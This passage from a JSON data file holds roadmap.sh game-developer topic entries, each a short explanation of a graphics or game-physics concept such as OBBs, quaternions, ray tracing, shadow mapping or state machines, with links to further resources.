    "content": "# Native\n\nYou don't necessarily have to use tools like Unreal, Unity3d, or Godot to make games. You can also use native languages like C++ or Rust to make games. However, you will have to do a lot of work yourself, and you will have to learn a lot of things that are already done for you in game engines.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@article@Learn Game Development with C++](https://learn.microsoft.com/en-us/cpp/overview/game-development-cpp?view=msvc-170)\n- [@article@Building Games with Rust](https://rustmeup.com/building-games-with-rust)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/obb@7nGtvbxoEAheiF4IPMfPf.md",
    "content": "# OBB\n\n`Oriented Bounding Box (OBB)` is a type of bounding volume used in computer graphics and computational geometry. It is often used to simplify complex geometric objects by correlating them as a box much closer in size and orientation to the actual object. Unlike the `Axis-Aligned Bounding Box (AABB)`, the `OBB` is not constrained to align with the axis, so the box can be rotated. This orientation is usually chosen based on the object's local coordinate system, so the `OBB` maintains its rotation. Properties of an `OBB` include its center, dimensions, and orientation. However, it is worth noting that `OBBs` can be more computationally intensive than `AABBs` due to mathematical complexity.\n\nVisit the following resources to learn more:\n\n- [@article@OBB vs OBB Collision Detection](https://gamedev.stackexchange.com/questions/25397/obb-vs-obb-collision-detection)\n- [@article@Oriented Bounding Box](https://gamedev.stackexchange.com/questions/49041/oriented-bounding-box-how-to)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/occluder@MlLYqO_8JDNOwKRvaM-bf.md",
    "content": "# Occluder\n\nAn **Occluder** in game development is basically a tool or method used to hide other objects in the game environment. When a certain object, which is known as the occluder, blocks the line of sight to another object from the camera's perspective, the hidden or blocked object does not need to be rendered. This object could be anything from a building to a terrain feature. The process of managing these occluders is known as occlusion culling. The purpose of using occluders is to optimize the game and improve its performance by reducing unnecessary rendering workload. However, it's important to note that setting up occluders requires careful planning to ensure that it does not impact the gameplay or visual quality.\n\nVisit the following resources to learn more:\n\n- [@article@Occluder and How to Use Them](https://80.lv/articles/occluders-and-how-to-use-them-for-level-design/)\n- [@article@Occlusion Culling Tutorial](https://thegamedev.guru/unity-performance/occlusion-culling-tutorial/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/opengl-es@EVOiWAeZsIvjLTt3EYu-6.md",
    "content": "# OpenGL ES\n\nOpenGL ES (Open Graphics Library for Embedded Systems) is a simplified version of OpenGL, designed for use on systems with lower computational power, such as mobile devices and embedded systems. Despite its semantic simplifications, OpenGL ES still retains high versatility and capability, allowing for high-performance 2D and 3D graphics on these smaller, less powerful systems. OpenGL ES has become particularly popular in mobile game development, with major platforms like Android and iOS providing full support for it. The API is divided into several versions, the latest of which, OpenGL ES 3.2, was released in 2016.\n\nVisit the following resources to learn more:\n\n- [@article@LVGL — Light and Versatile Embedded Graphics Library](https://lvgl.io/)\n- [@article@Embedded Lighting](http://embeddedlightning.com/ugui/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/opengl@ffa5-YxRhE3zhWg7KXQ4r.md",
    "content": "# OpenGL\n\nOpen GL, also known as Open Graphics Library, is a cross-language, cross-platform API designed to render 2D and 3D vector graphics. As a software interface for graphics hardware, Open GL provides programmers the ability to create complex graphics visuals in detail. It was first developed by Silicon Graphics Inc. in 1992 and quickly became a highly popular tool in the graphics rendering industry. Open GL is widely used in CAD, virtual reality, scientific visualization, information visualization, and flight simulation. It is also used in video games production where real-time rendering is a requirement. The API is designed to work with a broad range of hardware from different manufacturers. Being open-source, Open GL's code capabilities can be extended by anyone in the software community.\n\nVisit the following resources to learn more:\n\n- [@official@Open Graphics Library](https://www.opengl.org/)\n- [@official@OpenGL Libraries](https://www.opengl.org/sdk/libs/)\n- [@video@OpenGL Tutorials](https://youtube.com/playlist?list=PLPaoO-vpZnumdcb4tZc4x5Q-v7CkrQ6M-&si=Mr71bYJMgoDhN9h-)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/optix@GDLysy3__cbYidEaOmFze.md",
    "content": "# OptiX\n\n`OptiX` is an application framework developed by NVIDIA for achieving high performance ray tracing in graphics processing unit (GPU) programming. It's mainly intended for use in real-time graphics application, scientific simulations, and other visual computing applications. `OptiX` provides key functionalities such as hierarchical object acceleration, programmable ray generation, material shading, and dynamic scene management to achieve fast and state-of-the-art rendering. This highly efficient, scalable and flexible API supports the coding of applications, not just for graphic rendering but also for collision detection and physics simulation. Please note that access to `OptiX` currently requires NVIDIA GeForce, Quadro and Tesla products with Kepler, Maxwell, Pascal, Volta, Turing and later generation GPUs.\n\nVisit the following resources to learn more:\n\n- [@official@OptiX by Nvidia](https://developer.nvidia.com/optix/)\n- [@official@OptiX API Documentation](https://developer.nvidia.com/rtx/ray-tracing/optix)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/orientation@iIWEjpkNFBj4R5wQ0mcWY.md",
    "content": "# Orientation\n\nIn the context of game development, **Orientation** refers to the aspect or direction in which an object is pointed in a 3D space. To determine an object's orientation in 3D space, we typically use three angles namely: pitch, yaw, and roll collectively known as Euler's angles. **Pitch** is the rotation around the X-axis, **Yaw** around the Y-axis and **Roll** around the Z-axis. Alternatively, orientation can also be represented using a Quaternion. Quaternions have the advantage of avoiding a problem known as Gimbal lock (a loss of one degree of freedom in 3D space), present when using Euler's angles.\n\nVisit the following resources to learn more:\n\n- [@article@Orientation of Character](https://medium.com/@dev.szabo.endre/a-bit-e-of-game-dev-math-01-character-movement-with-vectors-effc862a1e4f)\n- [@article@Vector Maths for Game Developers](https://www.gamedeveloper.com/programming/vector-maths-for-game-dev-beginners)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/orthogonal@d6C1qFv-Tad3AtMBDLI6r.md",
    "content": "# Orthogonal\n\nOrthogonal projection, or orthographic projection, is a type of parallelogram projection in game development where the lines of projection are perpendicular to the projection plane. This creates a view that is straight-on, essentially removing any form of perspective. Unlike perspective projection where objects further from the viewer appear smaller, objects in orthogonal projection remain the same size regardless of distance. The lack of perspective in orthogonal projection can be useful for specific types of games like platformers or strategy games. It is commonly used in CAD (Computer-Aided Design) and technical drawings as well.\n\nVisit the following resources to learn more:\n\n- [@article@Orthogonal Projection](https://medium.com/retronator-magazine/game-developers-guide-to-graphical-projections-with-video-game-examples-part-1-introduction-aa3d051c137d)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/parallax@YGeGleEN203nokiZIYJN8.md",
    "content": "# Parallax\n\nIn game development and graphics, parallax refers to the apparent displacement or difference in the apparent position of an object viewed along two different lines of sight, and is measured by the angle or semi-angle of inclination between those two lines. In simpler terms, parallax is a technique used to create the illusion of depth in 2D environments by moving background layers at different speeds relative to the foreground.\n\nVisit the following resources to learn more:\n\n- [@article@Parallax Effect](https://www.encora.com/insights/how-to-take-advantage-of-parallax-in-programming-and-video-games)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/perspective@LEJymJ2EaAW5FM5LgKW38.md",
    "content": "# Perspective\n\nIn game development, **Perspective** plays a significant role in creating a three-dimensional world on a two-dimensional space. It mimics the way our eyes perceive distance and depth, with objects appearing smaller as they go farther away. Essentially, this is achieved by projecting 3D co-ordinates on a virtual screen. Perspective projection is done in two types - one-point where only one axis displays a change in size with depth and two-point where both axis display a change. It creates more realistic views, enhancing game visualization and immersion. An important aspect is the player's viewpoint, which is the vanishing point where parallel lines converge in the distance.\n\nVisit the following resources to learn more:\n\n- [@article@Perspective in Games](https://www.gamedeveloper.com/design/making-the-most-out-of-the-first-person-perspectives)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/physically-based-rendering@XvFtMHrYsBREmuerE7CGc.md",
    "content": "# Physically-Based Rendering\n\nPhysically Based Rendering (PBR) is a technique in computer graphics that aims to mimic the interaction of light with surfaces in the real world. It models how light behaves, from reflection to refraction, in a way that accurately represents reality. The PBR model factors in physical properties of materials, such as roughness or metallicity, making the rendering output more consistent and predictable under different lighting conditions. It uses complex shading algorithms and light calculations to generate a high level of realism. In order to achieve this, many PBR systems use a combination of two important components: the Bidirectional Reflectance Distribution Function (BRDF), which defines how light is reflected off an object, and the Bidirectional Surface Scattering Reflectance Distribution Function (BSSRDF), which handles how light scatters under the surface of an object.\n\nVisit the following resources to learn more:\n\n- [@article@Physically-Based Rendering](https://dev.epicgames.com/community/learning/tutorials/Yx3q/unreal-engine-physically-based-rendering-pbr-explained-in-depth)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/point@aNhyXWW2b7yKTv8y14zk9.md",
    "content": "# Point Lights\n\nPoint lights are one of the most common types of lights used in computer graphics and games. They resemble real-world light bulbs, emitting light uniformly in all directions. These lights are available out of the box in most game engines and offer a range of customizable parameters, such as intensity, falloff, color, and more. Point lights are the most straightforward type of light, making them ideal for quickly and intuitively lighting up your scenes.\n\nVisit the following resources to learn more:\n\n- [@article@The Basics of Lighting](https://blog.logrocket.com/lighting-basics-unity/)\n- [@article@Types of Lighting Component](https://docs.unity3d.com/6000.0/Documentation/Manual/Lighting.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/polygon@-r15srXTBLnUGokpXKclH.md",
    "content": "# Polygon\n\nIn computer graphics and game development, a polygon is a 2D or 3D shape composed of a set of vertices connected by edges. Polygons are used to represent objects, characters, and environments in games and simulations.\n\nVisit the following resources to learn more:\n\n- [@article@Polygons and Shading](https://electronics.howstuffworks.com/3do5.htm)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/polyhedron@GHfLMtgmc36OCvjQvW_Su.md",
    "content": "# Polyhedron\n\nIn computer graphics and game development, a polyhedron is a 3D shape composed of a set of polygons that enclose a volume. Polyhedra are used to represent objects, characters, and environments in games and simulations.\n\nVisit the following resources to learn more:\n\n- [@article@Mesh Triangulation and Polyhedron](https://gamedev.stackexchange.com/questions/140978/need-some-insight-on-mesh-triangulation-and-geodesic-spheres)\n- [@article@Polyhedron Game Physics](https://gamedev.net/forums/topic/653589-misc-polyhedon-related-posts-for-game-physics/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/programming-languages@4YgbrXLXf5mfaL2tlYkzk.md",
    "content": "# Programming Languages\n\nProgramming languages are very crucial to game development as they are the backbone of game design and functionality. A variety of languages can be used, but some are more commonly preferred in the industry due to their robustness and efficiency. The most popular ones include C++, C#, and Java. **C++**, a high-level language primarily used for developing video games, is known for its speed and efficiency. **C#**, which was developed by Microsoft, is extensively used with the Unity game engine to develop multi-platform games. **Java** is well-established in the sector as well, and it often utilized in the development of Android games. It's pivotal for a game developer to select a language that aligns with the project's requirements and nature. Despite the programming language you choose, a deep understanding of its constructs, logic, and capabilities is required for successful game development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@roadmap@Visit Dedicated Java Roadmap](https://roadmap.sh/java)\n- [@article@Learn Game Development with C++](https://learn.microsoft.com/en-us/cpp/overview/game-development-cpp?view=msvc-170)\n- [@article@Building Games with Rust](https://rustmeup.com/building-games-with-rust)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/projection@5qfoD77wU4ETI7rUSy4Nc.md",
    "content": "# Projection\n\n`Projection` in game mathematics often refers to the method by which three-dimensional images are transferred to a two-dimensional plane, typically a computer screen. There are two main types of projection in game development; `Orthographic Projection` and `Perspective Projection`. In the Orthographic Projection, objects maintain their size regardless of their distance from the camera. This is often used in 2D games or 3D games where perspective is not important. On the other hand, Perspective Projection mimics human eye perspective, where distant objects appear smaller. This method provides a more realistic rendering for 3D games. It's crucial to understand projection in game development because it governs how virtual 3D spaces and objects are displayed on 2D viewing platforms.\n\nVisit the following resources to learn more:\n\n- [@article@Mesh Triangulation and Polyhedron](https://mathworld.wolfram.com/Projection.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/python@AJp_QRLgSG5ETXDIjUjmm.md",
    "content": "# Python\n\nPython is a popular high-level programming language that was designed by Guido van Rossum and published in 1991.  It is preferred for its simplicity in learning and usage, making it a great choice for beginners. Python's design philosophy emphasizes code readability with its use of significant indentation. Its language constructs and object-oriented approach aim to help developers write clear, logical code for small and large-scale projects. Python is dynamically-typed and garbage-collected. Moreover, it supports multiple programming paradigms, including procedural, object-oriented, and functional programming. Python is often used for web development, software development, database operations, and machine learning. Although not typically used for game development, some game developers utilize Python for scripting and automating tasks.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python](https://www.python.org/)\n- [@official@Python Documentation](https://www.python.org/doc/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/quaternion@zPs_LlDvkfxvvCrk5fXB2.md",
    "content": "# Quaternion\n\nThe **quaternion** is a complex number system that extends the concept of rotations in three dimensions. It involves four components: one real and three imaginary parts. Quaternions are used in game development for efficient and accurate calculations of rotations and orientation. They are particularly useful over other methods, such as Euler angles, due to their resistance to problems like Gimbal lock. Despite their complex nature, understanding and implementing quaternions can greatly enhance a game's 3D rotational mechanics and accuracy.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Quaternions](https://www.3dgep.com/understanding-quaternions/)\n- [@article@Unity docs - Quaternions](https://docs.unity3d.com/ScriptReference/Quaternion.html)\n- [@video@Quaternions and 3d rotation,explained interactively](https://youtu.be/zjMuIxRvygQ?si=ANmFr5k8JMUzBCUC)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/rasterization@vYNj9nzu90e9xlrzHULnP.md",
    "content": "# Rasterization\n\nIn the realm of computer graphics, **Rasterization** refers to the process of converting the image data into a bitmap form, i.e., pixels or dots. It is predominantly used in 3D rendering where three-dimensional polygonal shapes are transformed into a two-dimensional image, possessing height, width, and color data. It is a scan-conversion process where vertices and primitives, upon being processed through the graphics pipeline, are mathematically converted into fragments. Every fragment finds its position in a raster grid. The process culminates in fragments becoming pixels in the frame buffer, the final rendered image you see on the screen. However, it's essential to note that rasterization does limit the image's resolution to the resolution of the device on which it is displayed.\n\nVisit the following resources to learn more:\n\n- [@article@3D Rendering Rasterization](https://www.techspot.com/article/1888-how-to-3d-rendering-rasterization-ray-tracing/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/ray-tracing@JW5c_0JEtO-OiBoXUia6A.md",
    "content": "# Ray Tracing\n\nRay tracing is a rendering technique in computer graphics that simulates the physical behavior of light. It generates images with a high degree of visual realism, as it captures shadows, reflections, and refracts light. Ray tracing follows the path of light backwards from the camera (eye) to the source (light object), calculating the color of each pixel in the image on the way. The color value calculation considers the object from which the ray has reflected or refracted, and the nature of the light source i.e. whether it's ambient, point or spot. Ray tracing algorithm handles effects that rasterization algorithms like scanline rendering and 'Z-buffer' find complex to handle.\n\nVisit the following resources to learn more:\n\n- [@article@What is Ray Tracing?](https://www.pcmag.com/how-to/what-is-ray-tracing-and-what-it-means-for-pc-gaming)\n- [@official@Nvidia GeForce RTX](https://www.nvidia.com/en-us/geforce/rtx/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/real-time-ray-tracing@_i7BXZq-iLxQc3QZRMees.md",
    "content": "# Real-Time Ray Tracing\n\n**Real-time Ray Tracing** is a notable advancement in rendering technology. It aims to mimic the way light works in the real world by simulating how each ray of light interacts with different surfaces. In real-time ray tracing, rays of light are generated from the viewer's perspective and sent into the scene. They can reflect off surfaces, refract through materials, or scatter in different directions. These rays can also be absorbed, producing shadows and shaping the visibility of objects. What makes real-time ray tracing special is its ability to calculate all these interactions in real-time, which allows graphics to be much more dynamic and interactive. The complexity of real-time ray tracing involves extensive computational power and it has been a groundbreaking feature in newer hardware and software releases.\n\nVisit the following resources to learn more:\n\n- [@article@What is Real-Time Ray Tracing?](https://www.unrealengine.com/en-US/explainers/ray-tracing/what-is-real-time-ray-tracing)\n- [@official@Nvidia RTX Real-Time Ray Tracing](https://blogs.nvidia.com/blog/rtx-real-time-ray-tracing/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/reflection@eI2jym4AAz3ani-lreSKE.md",
    "content": "# Reflection\n\nReflection in game development, specifically in shaders, is a phenomena that simulates the bouncing off of light from objects similar to the way it happens in the real world. Shaders replicate this effect by emitting rays from the lighting source against the object's surface. When the ray strikes the surface, it will calculate the light’s color and angle to define how light should reflect off that surface. Reflection in shaders can further be classified into two types: Specular Reflection and Diffuse Reflection. Specular Reflection is the mirror-like reflection of light from a surface, where each incident ray is reflected with the light ray reflected at an equal but opposite angle. Diffuse Reflection, on the other hand, is the reflection of light into many directions, giving a softer effect. These reflections are quantified in computer graphics often using a reflection model such as the Phong reflection model or the Lambertian reflectance model.\n\nVisit the following resources to learn more:\n\n- [@article@Rendering Perfect Reflections](https://developer.nvidia.com/blog/rendering-perfect-reflections-and-refractions-in-path-traced-games/)\n- [@video@How Can We Use Reflection in Game Development?](https://www.youtube.com/watch?v=R1A86lZ8myQ)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/reinforcements-learning@rGEHTfdNeBAX3_XqC-vvI.md",
    "content": "# Reinforcements Learning\n\n`Reinforcement Learning` is a type of Machine Learning which is geared towards making decisions. It involves an agent that learns to behave in an environment, by performing certain actions and observing the results or rewards/results it gets. The main principle of reinforcement learning is to reward good behavior and penalize bad behavior. The agent learns from the consequences of its actions, rather than from being taught explicitly. In the context of game development, reinforcement learning could be used to develop an AI (Artificial Intelligence) which can improve its performance in a game based on reward-driven behavior. The AI gradually learns the optimal strategy, known as policy, to achieve the best result.\n\nVisit the following resources to learn more:\n\n- [@article@Rendering Perfect Reflections](https://developer.nvidia.com/blog/rendering-perfect-reflections-and-refractions-in-path-traced-games/)\n- [@video@AI Learns to Walk (Deep Reinforcement Learning)](https://m.youtube.com/watch?v=L_4BPjLBF4E)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/rendering-equation@WVgozaQPFbYthZLWMbNUg.md",
    "content": "# Rendering Equation\n\nThe **Render Equation**, also known as the **Rendering Equation**, is a fundamental principle in computer graphics that serves as the basis for most advanced lighting algorithms today. First introduced by James Kajiya in 1986, it defines how light interacts with physical objects in a given environment. The equation tries to simulate light's behavior, taking into account aspects such as transmission, absorption, scattering, and emission. The equation can be computationally intensive to solve accurately. It's worth mentioning, however, that many methods have been developed to approximate and solve it, allowing the production of highly realistic images in computer graphics.\n\nVisit the following resources to learn more:\n\n- [@article@Rendering Equation](https://en.wikipedia.org/wiki/Rendering_equation)\n- [@video@Interactive Graphics 12 - The Rendering Equation](https://www.youtube.com/watch?v=wawf7Am6xy0)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/restitution@egOcxFTQP7vPIGrxcieuk.md",
    "content": "# Restitution\n\nIn game development, **Restitution** is a property closely related to the physics of objects. Essentially, restitution represents the \"bounciness\" of an object or, in more scientific terms, the ratio of the final relative velocity to the initial relative velocity of two objects after a collision. In the context of game physics, when objects collide, restitution is used to calculate how much each object should bounce back or recoil. Restitution values typically fall between 0 and 1 where a value of 0 means an object will not bounce at all and a value of 1 refers to a perfectly elastic collision with no energy lost. Therefore, the higher the restitution value, the higher the bounce back of the object after a collision.\n\nVisit the following resources to learn more:\n\n- [@article@Restitution Property](https://gamedev.stackexchange.com/questions/49616/why-do-restitution-values-less-than-one-still-cause-infinite-bouncing-in-box2d)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/rust@ts9pWxUimvFqfNJYCmNNw.md",
    "content": "# Rust\n\n**Rust** is a modern, open-source, multi-paradigm programming language designed for performance and safety, especially safe concurrency. It was initially designed by Mozilla Research as a language that can provide memory safety without garbage collection. Since then, it has gained popularity due to its features and performance that often compare favorably to languages like C++. Its rich type system and ownership model guarantee memory-safety and thread-safety while maintaining a high level of abstraction. Rust supports a mixture of imperative procedural, concurrent actor, object-oriented and pure functional styles.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@article@Building Games with Rust](https://rustmeup.com/building-games-with-rust)\n- [@video@Learn Rust](https://youtu.be/BpPEoZW5IiY?si=lyBbBPLXQ0HWdJNr)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/sampling@rmtxybcavWV6A53R4ZWgc.md",
    "content": "# Sampling\n\n**Sampling** in computer graphics is a method used to convert a continuous mathematical function (image, signal, light and sound), into a discrete digital representation. The process is done by taking snapshots at regular intervals which are also known as samples, and it's this that gives us the concept of 'sampling'. Some common types of sampling techniques include: uniform sampling (evenly spaced samples), random sampling (samples taken at random intervals), and jittered sampling (a compromise between uniform and random sampling). The higher the sampling rate, the more accurately the original function can be reconstructed from the discrete samples. Effective sampling is a significant aspect of achieving realistic computer graphics.\n\nVisit the following resources to learn more:\n\n- [@article@Textures and Sampling](https://cglearn.eu/pub/computer-graphics/textures-and-sampling)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/sat@kSMz7mZ243qMKtT_YD3AD.md",
    "content": "# SAT\n\n`Sat`, or separating axis theorem, is frequently used in collision detection in game development. Its primary benefit is for simple and fast detection of whether two convex polygons intersect. The theorem is somewhat complex—it works by projecting all points of both polygons onto numerous axes around the shapes, then checking for overlaps. However, it can be relatively time-consuming when dealing with more complex models or numerous objects as it has to calculate the projections, so often it is used in a broad-phase detection system. A deep explanation of how `sat` works might involve some mathematical concepts or visual aids, but this is the foundation of its use in game development.\n\nVisit the following resources to learn more:\n\n- [@article@Separating Axis Theorem](https://dyn4j.org/2010/01/sat/)\n- [@article@Collision Detection Using the Separating Axis Theorem](https://code.tutsplus.com/collision-detection-using-the-separating-axis-theorem--gamedev-169t)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/shader@qIrePusMuvcUva9LMDmDx.md",
    "content": "# Shader\n\nShaders are a type of software used in 3D computer graphics. They are utilized to render quality visual effects by making calculations and transformations on image data. Also, a shader is responsible for determining the final color of an object. There are several types of shaders: vertex shaders, geometry shaders, pixel shaders, and compute shaders. Each of these is programmed to manipulate specific attributes of an image, such as its vertices, pixels, and overall geometry. They are essential tools for game developers aiming to produce realistic and engaging visual experiences.\n\nVisit the following resources to learn more:\n\n- [@article@What Are Shaders in Video Games?](https://www.gamedesigning.org/learn/shaders/)\n- [@article@A Beginner's Guide to Coding Graphics Shaders](https://gamedevelopment.tutsplus.com/a-beginners-guide-to-coding-graphics-shaders--cms-23313t)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/shadow-map@ygtru6fqQ3gpFZRN_I8rP.md",
    "content": "# Shadow Map\n\nShadow mapping is a technique used in computer graphics to add shadows to a scene. This process involves two steps - generating the shadow map and then rendering the scene. In the shadow map generating step, the scene is rendered from the perspective of the light source capturing depth information. This results in a texture that stores the distance from the light to the nearest surface along each light direction, a “shadow map”. In the scene rendering step, the scene is rendered from the camera’s perspective. For each visible surface point, its distance from the light is calculated and compared to the corresponding stored distance in the shadow map. If the point's distance is greater than the stored distance, the point is in shadow; otherwise, it's lit. This information is used to adjust the color of the point, producing the shadow effect.\n\nVisit the following resources to learn more:\n\n- [@article@Shadow Mapping Techniques](https://dev.to/hayyanstudio/shadow-mapping-techniques-implementing-shadows-in-3d-scenes-using-shadow-mapping-46hl/)\n- [@article@A Beginner's Guide to Shadow Mapping](https://gamedev.net/blog/2080/entry-2261232-shadow-mapping-part-1-pcf-and-vsms/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/shadow@lqfW8hkuN3vWtacrqBBtI.md",
    "content": "# Shadow\n\nShadows play a crucial role in enhancing the realism and depth of scenes in video games. They help to create a more immersive experience by simulating how light interacts with objects in a 3D environment.\n\nVisit the following resources to learn more:\n\n- [@article@Shadow Mapping Techniques](https://dev.to/hayyanstudio/shadow-mapping-techniques-implementing-shadows-in-3d-scenes-using-shadow-mapping-46hl)\n- [@article@Real Time Shadow Casting using Shadow Volumes](https://www.gamedeveloper.com/business/real-time-shadow-casting-using-shadow-volumes)\n- [@video@Programming and Explaining Shadows](https://www.youtube.com/watch?v=RJr14qUt624L)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/sort--sweep@STdvFYM9V0a36IkPXjvrB.md",
    "content": "# Sort and Sweep\n\n**Sort and Sweep** is an algorithm used in collision detection in game development which optimizes the process of identifying potential intersecting objects. Here's how it works: first, all objects in the game are sorted along a specific axis (typically the 'x' axis). Then a line (known as the 'sweep line') is moved along this axis. As the line sweeps over the scene, any objects that cross this line are added to an 'active' list. When an object no longer intersects with the sweep line, it's removed from this list. The only objects checked for intersection are those within this 'active' list reducing the number of checks required. This makes sort and sweep an efficient spatial partitioning strategy.\n\nVisit the following resources to learn more:\n\n- [@article@Sort, Sweep and Prune](https://leanrada.com/notes/sweep-and-prune/)\n- [@article@Collision Detection Algorithm](https://notes.billmill.org/visualization/interactive_explainers/sort__sweep_and_prune_-_collision_detection_algorithms.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/spatial-partitioning@9Fk3XSINBr2NNdbMtwsIK.md",
    "content": "# Spatial Partitioning\n\n\"Spatial partitioning\" is a technique used in computational geometry, intended to make calculations involving objects in space more efficient. It involves dividing a large virtual space into a series of smaller spaces, or \"partitions\". These partitions can be used to quickly eliminate areas that are irrelevant to a particular calculation or query, thus lowering the overall computational cost. This technique is widely used in game development in contexts such as collision detection, rendering, pathfinding, and more. Various methods exist for spatial partitioning, including grid-based, tree-based (like Quadtree and Octree), and space-filling curve (like Z-order or Hilbert curve) approaches.\n\nVisit the following resources to learn more:\n\n- [@article@Spatial Partitioning](https://en.wikipedia.org/wiki/Space_partitioning)\n- [@article@Spatial Partitioning in Game Programming](https://gameprogrammingpatterns.com/spatial-partition.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/specular@odfZWKtPbb-lC35oeTCNV.md",
    "content": "# Specular\r\n\r\n`Specular` reflections are mirror-like reflections. In these cases, the rays of light are reflected, more than they are absorbed. The angle of incidence is equal to the angle of reflection, that is to say that the angle at which the light enters the medium and then bounces off, the angle of the beam that bounced off would be the same.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@article@Specular Reflections - Wiki](https://en.wikipedia.org/wiki/Specular_reflection)\r\n- [@article@Specular Reflection - Regular Reflection, Mirrors, Diffuse Reflection](https://www.rp-photonics.com/specular_reflection.html)\r\n-[@video@Specular Reflection](https://www.youtube.com/watch?v=2cFvJkc4pQk)\r\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/spir-v@DvV32n3NoXNEej8Fsqqs2.md",
    "content": "# SPIR-V\n\n`SPIR-V` is a binary intermediate language for graphics and computation kernels, which is defined by the Khronos Group. This programming language has been largely adopted and used by Vulkan, a low-overhead, cross-platform 3D graphics and computing API. Vulkan consumes `SPIR-V` directly, serving as the final shader stage before the GPU. The `SPIR-V` binary format is designed for portability and flexibility, allowing it to be a powerful tool for developers because of its extensibility through the addition of new instructions, without the need to rebuild toolchains or shaders. This makes `SPIR-V` an essential part of Vulkan, especially for game developers creating large, diverse worldscapes and intricate graphics.\n\nVisit the following resources to learn more:\n\n- [@official@SPIR Overview - The Khronos Group Inc](https://www.khronos.org/spir/)\n- [@official@SPIR-V - OpenGL Wiki - The Khronos Group](https://www.khronos.org/opengl/wiki/SPIR-V)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/spline@nTiHZXRh2j3_FsBotmlGf.md",
    "content": "# Spline\n\n`Spline` is a mathematical function widely used in computer graphics for generating curves and surfaces. It connects two or more points through a smooth curve, often used in games for defining pathways, movement paths, object shapes, and flow control. Splines are not confined to two dimensions and can be extended to 3D or higher dimensions. Types of splines include `Linear`, `Cubic`, and `Bezier` splines. While linear splines generate straight lines between points, cubic and bezier splines provide more control and complexity with the addition of control points and handles. Developing a good understanding of splines and their usage can vastly improve the fluidity and visual aesthetics of a game.\n\nVisit the following resources to learn more:\n\n- [@article@Spline in Mathematics](https://en.wikipedia.org/wiki/Spline_(mathematics))\n- [@Video@In-depth video about Splines by Freya Holmér](https://youtu.be/jvPPXbo87ds?si=JX_G-gS81tOwQwjf)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/spot@FetbhcK1RDt4izZ6NEUEP.md",
    "content": "# Spotlights\n\nSpotlights are a common type of light in computer graphics and games that mimic the behavior of real-world spotlights. They offer a range of parameters to adjust their behavior, such as radius, cone angle, falloff, and intensity Spotlights are readily available out of the box in both Unreal and Unity game engines, making them an accessible and powerful tool for adding realistic and dynamic lighting to your scenes.\n\nVisit the following resources to learn more:\n\n- [@article@Computer Graphics Lighting](https://en.wikipedia.org/wiki/Computer_graphics_lighting)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/state-machine@aJa_2xkZuSjQ5bt6Kj5oe.md",
    "content": "# State Machine\n\nA **State Machine** is a conceptual model that is frequently used in game development to manage game states, or conditions. It consists of a number of different 'states', or modes, and the transitions between them. For instance, a mobile game could have states such as 'Start Screen', 'Playing', 'Paused' and 'Game Over'. Each one of these states will have specific commands associated and rules for transitioning to other states. This will govern the flow and behavior of the game. It can be used in AI character behaviors, UI systems, or game-level states. State Machines keep the code organized and manageable, making it easier for developers to implement complex game logic.\n\nVisit the following resources to learn more:\n\n- [@article@State Machines in Games](https://gamedev.net/tutorials/_/technical/game-programming/state-machines-in-games-r2982/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/stencil-shadow@AEAVc8Ih4fctSGGVJG0Np.md",
